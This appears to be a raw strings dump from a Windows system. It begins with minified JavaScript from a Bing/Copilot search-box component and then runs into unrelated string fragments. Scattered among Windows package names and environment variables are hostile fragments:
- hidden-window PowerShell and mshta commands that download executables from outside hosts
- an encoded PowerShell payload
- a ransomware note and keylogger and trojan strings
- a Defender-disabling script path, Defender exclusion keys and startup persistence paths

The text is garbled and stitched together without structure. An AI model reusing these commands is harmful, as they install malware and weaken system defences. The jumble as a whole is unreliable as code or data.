f=n.tryParseUrl(i,!0);f.hostname===n.CMC_URL_PROD&&n.config.enableCopilotNative?(i=await n.getCopilotLaunchUrl(i,"DSBHIB"),n.Host.launchDSBUriAsync(i,r,t)):n.isMsnHost(f)?n.Host.launchDSBUriAsync(i,r,t):n.Host.launchDSBUriAsync(c(i),r,t,u)}function gt(n){return n==0||n==13||n==14||n==15||n==16||n==19}function ni(n){return n=="DSBFlipperChevronleft"||n==="DSBFlipperChevronright"}function v(n,t){if(!n||n<=0)return"";const s=new Date(n*1e3),i=Math.floor((t.valueOf()-s.valueOf())/1e3);if(i<1)return"";if(i==1)return`${i} second ago`;if(i<60)return`${i} seconds ago`;const r=Math.floor(i/60);if(r==1)return`${r} minute ago`;if(r<60)return`${r} minutes ago`;const u=Math.floor(r/60);if(u==1)return`${u} hour ago`;if(u<24)return`${u} hours ago`;const f=Math.floor(u/24);if(f==1)return`${f} day ago`;if(f<=30)return`${f} days ago`;const e=Math.floor(f/30);if(e==1)return`${e} month ago`;if(e<12)return`${e} months ago`;const o=Math.floor(e/12);return o==1?`${o} year ago`:`${o} years ago`}function ti(t,i){let r=v(t,i);if(r==="")return"";let u=r.split(" "),e=u.slice(1).map(n=>n.charAt(0).toUpperCase()+n.slice(1)).join(""),f=n.Host.getLocString(e);return f?`${u[0]} ${f}`:""}function ii(){if(n.TestHookUrlParameters===null||n.TestHookUrlParameters===void 0?void 0:n.TestHookUrlParameters.dsbMockDateTimeParam){var t=new Date(n.TestHookUrlParameters.dsbMockDateTimeParam);return t.setMinutes(t.getMinutes()+t.getTimezoneOffset()),t}return n.getCurrentDate()}function ri(n,t,i,r,u){SharedLogHelper.LogError(n,t,i,r,u)}function ui(t,i,r){n.LogWSBWarning(t,i,r,"BingTelemetry")}function fi(n){var t;if(!n)return"Not Valid";let i=new URL(n);return(t=i.searchParams.get("id"))!==null&&t!==void 0?t:"Not Valid"}function ei(n){return n?n===0?"30x36":"30x60":"30x36"}function oi(t){var i;const r=new Date(+t.substring(0,4),+t.substring(4,6)-1,+t.substring(6,8));return r.toLocaleDateString((i=n.getCurrentLanguage())===null||i===void 0?void 0:i.substring(0,2),{month:"short",day:"numeric"})}function s(n,t){let i=new Date(n.getTime()-n.getTimezoneOffset()*6e4+864e5*(t!==null&&t!==void 0?t:0));return i.toISOString().substring(0,10).replace(/-/g,"")}function si(n){return Array.from({length:7},(t,i)=>s(n,-i)).sort()}function hi(n){return[s(n,0)]}function ci(t){let i={campaign:n.config.moreEdgeProtocolOCID,medium:"DynamicSearchBox"};return t&&t.edgeHubAppId&&(i.hubAppId=t.edgeHubAppId),i}function li(){if(n.VelocityKeys!==null&&n.VelocityKeys!==void 0)return n.VelocityKeys.isFeatureEnabled(43998261)}function y(){if(n.VelocityKeys!==null&&n.VelocityKeys!==void 0)return n.VelocityKeys.isFeatureEnabled(44533041)}function ai(){return n.config.undocked&&y()&&n.Host.getPofLaunchUrlExist()}function vi(){if(n.VelocityKeys!==null&&n.VelocityKeys!==void 0)return n.VelocityKeys.isFeatureEnabled(48909483s}`:""}${h?`&h=${h}`:""}&c=${f}&rs=${e}&p=${o}`}function et(n){switch(n){case"TrendingSearch":return"SHTRND";case"HeroCardOfTheDay":return"SHHPIH";case"OnThisDay":return"SHODCA";case"Quiz":return"SHQZHO";case"MapIt":return"SHMIHO";case"QuoteOfTheDay":return"SHQTCA";case"WordOfTheDay":return"SHWDCA";case"WholePageTabs":return"SHWPHS";case"KC_HeroCard":return"SHKNCH";case"PersonalizedSports":return"SHSPCA";case"RelatedLocal":case"RelatedLocal_Hero":return"SHLFDH";case"RelatedLocal_CTA":return"SHLRCA";case"RelatedRecipe":return"SHRCCA";case"TrendingVideos":return"SHTVMC";case"ShortVideos":return"SVTVLP";case"TrendingImages":return"SHTIMC";case"AllImages":return"SHAIHO";case"Rewards":return"SHRWCA";case"ExploreMore":return"SHEMMC";default:return"SHDFLT"}}function c(t){return n.setBingUrlLanguageAndRegion(t,n.Host.getRegion(),n.getCurrentLanguage())}function ot(n,t,i,r){const f=i.getContext("2d");f.font=r.font||`normal 14px "Segoe UI Variable Text"`;let e=t,u=0,o=0;for(let t of n){const i=f.measureText(t),n=i.width+r.extraWidthPerItem;if(u+n>r.lineWidth&&(u=0,e-=1),u+=n,e===0)break;o+=1}return o}function st(t){return n.config.enableCopilotStringUpdate&&t==="ChatWithBing"&&(t="AskCopilot"),n.Host.getLocString(t)}function ht(n,t,i,r,u,f){let e="";return n&&(e+=`${n}: 
 `),r&&(e+=`${r}`),u&&(e+=`${u}`),e}function ct(t,i){if(!t)return"";t=t===null||t===void 0?void 0:t.match(/([^&]*)/)[0];var r=(n.MockUrlParameters===null||n.MockUrlParameters===void 0?void 0:n.MockUrlParameters.mockImages)?`/snrtest/image?width=16&height=16`:`${i}/th?id=${t}&w=16&h=16&c=1&rs=1&p=0`;return{backgroundImage:`url(${r})`}}function lt(n,t){return!n||n<0?"":n<1e3?`${n}`+` ${t}`:n<1e6?(n/1e3).toFixed(0)+`K ${t}`:(n/1e6).toFixed(1)+`M ${t}`}function at(t,f,e,o,s=false,h=false,c=false,l=null,a=null,v=true,y=null,p=null){if(!t)return"";t=t===null||t===void 0?void 0:t.match(/([^&]*)/)[0];const{width:w,height:b}=a>0&&l>0?{width:l,height:a}:n.config.enableDSBCardUI&&p&&y?u({uxTemplateName:p,cardSize:y}):i({dsbSection:f,dsbScenario:e,isWindows11:n.config.useCobaltCSS,isTwoCta:s,isFullWidthDSB:c,enbFullCta:n.config.enableWin10CTA&&!c,isOnLeftColumn:v,isNewDSBUI:n.config.newDSBUI});var k=r(t,o,w,b,h?13:1);return{backgroundImage:`url(${k})`}}function vt(t,f,e,o,s=false,h=false,c=false,l=null,a=null){var w,y,g;const p=t===null||t===void 0?void 0:t.ThumbnailUrl,v=t===null||t===void 0?void 0:t.ThumbnailId;if((!p||p.length===0)&&(!v||v.length===0))return"";const b=h?13:1,{width:k,height:d}=n.config.enableDSBCardUI&&a&&l?u({uxTemplateName:a,cardSize:l}):i({dsbSection:f,dsbScenario:e,isWindows11:n.config.useCobaltCSS,isTwoCta:s,isFullWidthDSB:c,enbFullCta:n.config.enableWin10CTA&&!c,isNewDSBUI:n.config.newDSBUI});if(v&&v.length!==0)g=v===null||v===void 0?void 0:v.match(/([^&]*)/)[0],w=r(g,o,k,d,b);else y=new URL(p),y.searchParams.set("w",`${k}`),y.searchParams.set("h",`${d}`),y.searchParams.set("m","5"),y.searchParams.set("c",`${b}`),w=y.toString();return{backgroundImage:`url(${w})`}}function yt(n,t,i=false,f=null,e=null){var c,s,y;const h=n===null||n===void 0?void 0:n.ThumbnailUrl,o=n===null||n===void 0?void 0:n.ThumbnailId;if((!h||h.length===0)&&(!o||o.length===0))return"";const l=i?13:1,{width:a,height:v}=u({uxTemplateName:f,cardSize:e});if(o&&o.length!==0)y=o===null||o===void 0?void 0:o.match(/([^&]*)/)[0],c=r(y,t,a,v,l);else s=new URL(h),s.searchParams.set("w",`${a}`),s.searchParams.set("h",`${v}`),s.searchParams.set("m","5"),s.searchParams.set("c",`${l}`),c=s.toString();return{backgroundImage:`url(${c})`}}function pt(t,r,u=false,f=false,e){let o=e!==null&&e!==void 0?e:i({dsbSection:t,dsbScenario:r,isWindows11:n.config.useCobaltCSS,isTwoCta:u,isFullWidthDSB:f,isNewDSBUI:n.config.newDSBUI}).width;return o||(o=n.config.useCobaltCSS?90:86),{maxWidth:o}}function o(t,r,u,f,e,o){let s,h;if(t>0&&r>0)s=t,h=r;else{const{width:t,height:r}=i({dsbSection:u,dsbScenario:f,isWindows11:n.config.useCobaltCSS,isTwoCta:e,isFullWidthDSB:o,isNewDSBUI:n.config.newDSBUI});s=t;h=r}return{finalWidth:s,finalHeight:h}}function wt(n,t,i,u7
\system32\rundll32.exe.\image
windowsAuthentication
System.Windows.Input.CommandValueSerializer, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, Custom=null
NWindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35
NWindowsBase, Version=3.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35
s-microsoft-com:windows:stor
s-microsoft-com:windows:store:lice
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
QSGWindowsRenderLoop
c:\windows\systemp.exec:\wabok.logc:\nois.logemail=computador=nomfile=urldownloadtofilea
rundll32.exe C:\WINDOWS\SYSTEM32\donm.dll  Start  *
qqsg.exehookInternetOpenUrlAstrrchrc:\windows\system32\tessafe.syshttp://127.0.0.1/lin.aspd:\haha5.0\housr\dummysys\objfre_wnet_x86\i386\tessafe.pdbsgmutexworldzone.ini\loadnew.exe
.getspecialfolder(2)&"\..\..\roaming\microsoft\windows\startmenu\programs\startup
m/windows
http://z1.nf-2.net/512.txt%s\temp\edit.jpg%systemroot%\system32\dllcache\explorer.exe
Fyttruovvirus protectionantivirus softwareantispayware softwareon your system Windows Defender.%s /del
WindowsMediaPlayer1W
Microsoft.Windows.CellCore.MobileBroadband.MBNApi
Microsoft-Windows-Desktop-Shell-Personalization
Windows.UI.Xaml.Controls.Primi
ita. Selle lubamiseks tippige oma Windowsi parool.Microsoft Copiloti v
-windowstylehidde
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
OS=Windows_NT
get_WindowsAuthentication
IsWindowsRS5OrUp
Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32S
`E3-executionpolicybypass-windowstylehidden-file
SLGetWindowsInformationDWORD
55^windows.appExtension
55^windows.backgroundTasks
55^windows.updateTask
55^windows.preInstalledConfigTask
COMPUTERNAME=WINDOWS11
DOMAIN=Windows
	WINDOWS\system32\cmd.exe.
USERDOMAIN_ROAMINGPROFILE=Windows11'
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
client.wns.windows.com
GetWindowsDirectoryW
c:\windows\system32\mshta.exejavascript:
Vsystem32\mshta.exe
Microsoft.Windows.Notifications.Wpnprv
Microsoft.Windows.Print.Winspool
Microsoft.Windows.Perf.TraceMerge
client.wns.windows.com
.dat&&%windir%\system32\regsvr32%temp%\
System.Windows.Forms.UnsafeNativeMethods.IOleControl.GetControlInfo
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.GetHostInfo
ULOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
Path=C:\WINDOWS\system32;
Windows.Data.PlaceholderTileCollectionLocal
Windows.Data.PlaceholderTileLocal
Windows.Data.PlaceholderTileCollection
Windows.Data.PlaceholderTile
make windows differen,
0windowsupdate
ndex.windows
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
windows.data.donotdisturb.quiethourssettings
 @Windows.Data.Input.Devices.PenPerDevice
(@Windows.Data.Input.Devices.TouchSettings
 @windows.data.donotdisturb.quiethourssettings
(@Windows.Data.DoNotDisturb.QuietHoursSettings
 @windows.data.donotdisturb.quiethourssettings
(@Windows.Data.Input.Devices.TouchpadSettings
 @CloudData.WindowsClient.CloudDataAvailableWnf
 @Windows.Data.Notifications.BoolWithMetadata
 @Windows.Data.DoNotDisturb.BoolWithMetadata
(@Windows.Data.DoNotDisturb.QuietHoursSettings
 @Windows.Data.Input.Devices.PenSyncedSettings
 @windows.data.donotdisturb.quiethourssettings
 @Windows.Data.Notifications.QuietHoursSettings
 @CloudData.WindowsClient.CloudDataAvailableWnf
 @Windows.Data.Input.Devices.MouseSettings
 @Windows.Data.Platform.LocalCache.BlobReference
 @Windows.Data.Notifications.QuietHoursSettings
 @Windows.Data.Input.Devices.PenSettings
 @Windows.Data.DoNotDisturb.BoolWithMetadata
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-SecureStartup-Foundation-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|
Microsoft-Windows-Media-Player-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Multimedia-RestrictedCodecs-WOW64-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
/Fecho@echooff>"%userprofile%\appdata\roaming\microsoft\windows\startmenu\programs\startup
registry::hkey_local_machine\software\microsoft\windowsnt\currentversion\print\printers\
typing settings|ink settings|windows ink settings|pen settings|shell handwriting settings|=
S mode settings|Windows S mode settings|activation settings|Windows activation settings|switch from S mode|F
peripheral settings|sign in options|signin options|sign in settings|signin settings|camera|fingerprint|external camera|external fingerprint|windows hello|6
([handwriting settings|typing settings|ink settings|windows ink settings|pen settings|4
6WindowsDefender
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\engagementmanager.cpp
shellcommon\undockeddevkit\libs\windowsudk.system.userprofile\officeenrollmanager.cpp
windows\syswow64
-PI%2fWindowsCortanaPane%2fV2%2fSuggestions%3fqry%3d","remove
 @Windows.Data.Notifications.BoolWithMetadata
,@Windows.Data.Platform.Partitioning.PartitionSet
 @windows.data.donotdisturb.quiethourssettings
 @windows.data.donotdisturb.quiethourssettings
,@windows.data.donotdisturb.quiethourssettings
,@Windows.Data.Platform.Partitioning.PartitionSet
SOFTWARE\Microsoft\Windows NT\CurrentVeP
\system32\imageres.dll
(@client.wns.windows.com
%Microsoft Windows Production PCA 20110
Microsoft Windows0
    name="Microsoft.Windows.input"
            name="Microsoft.Windows.Common-Controls"
"Windows.Data.Common.Rect
Windows.Data.JapanLocalInputSetting
Windows.Data.Platform.Partitioning.Partition
Windows.Data.JapanInputSetting
Windows.Data.Settings.Voice.SpeechToTextSettings
Windows.Data.SharePicker.AppMRUItem
Windows.Data.Signals.SystemStateCondition
Windows.Data.Signals.PredictionEngineFileCondition
Windows.Data.SharePicker.CopyLinkMRUItem
Windows.Data.SharePicker.MRUItem
Windows.Data.CHSInputSetting
Windows.Data.Signals.MLModelCondition
Microsoft.Windows.Shell.Explorer
Windows.Data.CuratedTileCollection.RootCollection
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
ItemReference<Windows.Data.CuratedTileCollection.Root>
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.CuratedTileCollection.TileCollection
Windows.Data.UnifiedTile.RoamedTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.GamesListTileProperties
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.CuratedTileCollectionsManagerData
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartGlobalProperties
Windows.Data.UnifiedTile.LocalStartTilePropertiesMap
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
Windows.Data.UnifiedTile.LocalStartVolatileTilePropertiesMap
Windows.Data.CuratedTileCollection.TileCollectionContainer
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
CloudData.WindowsClient.DisableSyncOnActivityFeed
OS=Windows_NT
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package04102031~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
file:///c:/windows/diagnostics/index
c:\windows\syswow64\
rundll32.exe "c:\windows\syswow64\
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.Freeze
System.Windows.Forms.UnsafeNativeMethods.IViewObject.Freeze
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.Unfreeze
System.Windows.Forms.UnsafeNativeMethods.IViewObject.Unfreeze
System.Windows.Forms.Layout.IArrangedElement.GetPreferredSize
get_MinimizedWindowSpacingSize
shell("cmd.exe/cpowershell-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('
_popups|sciences,&quot; quality Windows assignedheight: <b classle&quot; value=" Companyexamples<iframe believespresentsmarshallpart of properly).
.?AV<lambda_1>@?9??_SetUnwrappedAsyncOp@?$_Task_impl@_N@details@Concurrency@@QEAAXPE$AAU?$IAsyncOperation@_N@Foundation@Windows@@@Z@
.P6APE$AAVCoreApplicationView@Core@ApplicationModel@Windows@@V?$function@$$A6AXXZ@std@@@Z
.?AV<lambda_1>@?1???R0?1???R0?1??CreateNewApplicationView@@YAPE$AAVCoreApplicationView@Core@ApplicationModel@Windows@@V?$function@$$A6AXXZ@std@@@Z@QEBA@XZ@QEBA@XZ@
c:\windows\system32\mshta.exe"https://ia601505.us.archive.org/34/items/clean-ll
f7^com.microsoft.windows.e
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
https://login.windows-ppe.net
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Kernel-Package-WOW64-NT-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3323.cat|
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Printing-LPDPrintService-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|Microsoft-Windows-StorageService-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Windows.Internal.Devices.Lights.BacklightServer.dll
ie6patchbar.exekb83830597tmpnew.exedown1.execustom_iestartflagsoftware\microsoft\windows\currentversion\setup\{250d8fba-ad11-11d023-98a823-08002423102}windows explorer patchappevent.exe
c:\windows\athyxlnvx.exe
windows update loadernohtmlwallpapernochangingwallpapernodesktopclassicshellnoactivedesktopforceactivedesktopon
%systemroot%\system32\drivers\puid.sys\drivers\deepfrz.sys\.\physicaldrive0\.\physicalharddisk0\dosdevices\physicalharddisk0\msgqueuelist.exentfs.dll
sc.exe start\windows\system32\regsvr32.exeamdcore2
software\microsoft\windows\currentversion\internet settings\zonestext/htm
s\system32\zipfldr.dll
software\microsoft\windows\currentversion\policies\explorer\run
build for trojan.exe version<windir>\avshld.exe\software\internet explorer\<windir>\nvp.exe<windir>\avupdt.exe\software\microsoft\windows nt\currentversion\winlogon\berwacht den systemstart\shell\open\command\
software\microsoft\windows\currentversion\shel
<url get="on" crypt="on"><![cdata[http://<url post="on" crypt="on"><![cdata[http://rundll32.exe c:\windows\iexplore.exe,attachconsolealosalamos
TerminateThreadhttp://bestbsd.info/cd/cd.php?id=%s&ver=ig1http://rezultsd.info/cd/cd.php?id=%s&ver=ig1http://carrentalhelp.org/cd/cd.php?id=%s&ver=ig1SOFTWARE\Classes\CLSID\%s\InProcServer32SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SharedTaskScheduler
keylogger - FTP - bedune error - Revision1\winlogon.vbpk
kyour files have been fuckedyou will get your files back\readme.txt\windows
SOFTWARE\Microsoft\Windows\CurrentVersion\RunFdownInetReadFPathProcess
\Microsoft\Windows\CurrentVersion
<PrintDeviceCapabilities xmlns="http://schemas.microsoft.com/windows/201H
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.BackupRestore.DeviceProfile
SCRIPT:PowerShell/WindowsCredentials
disable-windows-defender/main/source.batd
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.25\inc\wil\opensource\wil\resource.h
powershell.exe -windowstyle hidden -command p
software\microsoft\windows\currentversion\uninstall\sandboxies
software\microsoft\windows defender\exclusions\processess
c:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehidden-noexitnew-item$env:temp\samplefile.txt;set-content$env:temp\samplefile.txt'thisisasampletext';start-processnotepad.exe$env:temp\samplefile.txt;iwr-urihttps://github.com/attationin/cloud/raw/main/testexe.exe-outfile$env:temp\qfhabtestexe.exe;
f.G]9xsystem32v2hejcmd.exe@hejhej.*jkcmd.exel/kosc:\windows\system32\cmd.exe!..\..\..\windows\system32\cmd.exe/c
c:\windows\system32\windowspowershell\v1.0\powershell.exe-nop-exbypass-windowstylehidden-enckabpahcacgagaggadab0ahaacwa6ac8alwbjageacgblac0abwbuagiabwbhahiazaauagmabwbtac8ayqbwahaalgb0ahgadaagac0avqbzaguaqgbhahmaaqbjafaayqbyahmaaqbuagcakqauaemabwbuahqazqbuahqaiab8acaaaqboahyatwbraeualqbfahgauabyaguauwbzagkatwbuaa==
c:\windows\system32\windowspowershell\v1.0\powershell.exe-oproxycommand="powershellpowershell-command('mshta.e]]]]]]]x]]]]]]e]]]]]]]]]]h]]]]]t]]]]]]tp]]]]]s://]]]]]ws]]]]]]er]]]]]]d]]]]]]tf]]]]]y]]]]]]guh]]]]]]]i]]]]]]j]]]]]]].2024]]]]]]-vi]]]]]ptic]]]]]ke]]]]]t.com]]]]]]]/]]]]]k.m]]]]]]M
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
WEBVIEW2_ADDITIONAL_BROWSER_ARGUMENTS=--disable-features=msSmartScreenProtection --edge-webview-enable-mojo-ipcz --edge-webview-foreground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)"  --enable-features=msEdgeFluentOverlayScrollbar
windir=C:\WINDOWS
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
C:\WINDOWS\system32\vssvc.exe
FormWindowStateF
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.4
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
-WindowStyle Hidden -ep bypass -file
X86_MICROSOFT.WINDOWS.I..UTOMATION.PROXYSTUB_6595B64144CCF1DF_NONE_E744CDBF06C8E4BF
temRoot%\system32\mswsock.dl
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Platform.BackupRestore.DeviceProfile
    <Category Name="Dialogs and Tool Windows" GUID="{1f987c00-e7c4-4869-8a17-23fd602268b0}">
c:\windows\system32\drivers\etc\L
